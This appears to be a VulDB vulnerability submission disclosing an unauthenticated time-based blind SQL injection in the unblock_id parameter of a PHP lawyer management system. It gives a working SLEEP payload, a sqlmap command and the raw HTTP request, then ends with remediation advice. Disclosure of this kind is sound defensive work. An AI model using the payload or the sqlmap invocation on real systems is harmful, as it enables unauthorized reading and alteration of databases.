Submit #579686: projectworlds Online Lawyer Management System Project Using PHP MYSQL V1.0 SQL Injection

# DESCRIPTION

- During the security review of "Online Lawyer Management System Project Using PHP MYSQL",I discovered a critical SQL injection vulnerability in the "/lawyer_booking.php" file. This vulnerability stems from insufficient user input validation of the 'unblock_id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

# No login or authorization is required to exploit this vulnerability

# Vulnerability details and POC

## Vulnerability lonameion:

- 'unblock_id' parameter

## Payload:

```makefile
Parameter: unblock_id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
Payload: unblock_id=1' OR (SELECT 3377 FROM (SELECT(SLEEP(5)))DuQN)-- lknl
```

## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```bash
《python sqlmap.py -r sqli.txt -p unblock_id --dbms=mysql --level=3 --risk=3 --batch》
```

<img width="803" alt="Image" src="https://github.com/hhhanxx/attack/blob/main/Snipaste_2025-05-17_13-10-50.png?raw=true" />

sqli.txt:

```
GET /lawyer_booking.php?unblock_id=1 HTTP/1.1
Host: 192.168.137.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=7adf0j9sqhp3sqfjlm4u1e7knu
Upgrade-Insecure-Requests: 1
Priority: u=0, i

```

# Suggested repair

1. **Use prepared statements and parameter binding:**
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
Strictly validate and filter user input data to ensure it conforms to the expected format.

3. **Minimize database user permissions:**
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

• Source: ⚠️ https://github.com/hhhanxx/attack/issues/13
• User: attackxu (UID 84219)
• Submission: 05/17/2025 07:15 (1 Year ago)
• Moderation: 05/18/2025 08:41 (1 day later)
• Status: Duplicate
• VulDB entry: 303131 [Project Worlds Online Lawyer Management System 1.0 /lawyer_booking.php unblock_id sql injection]
• Points: 0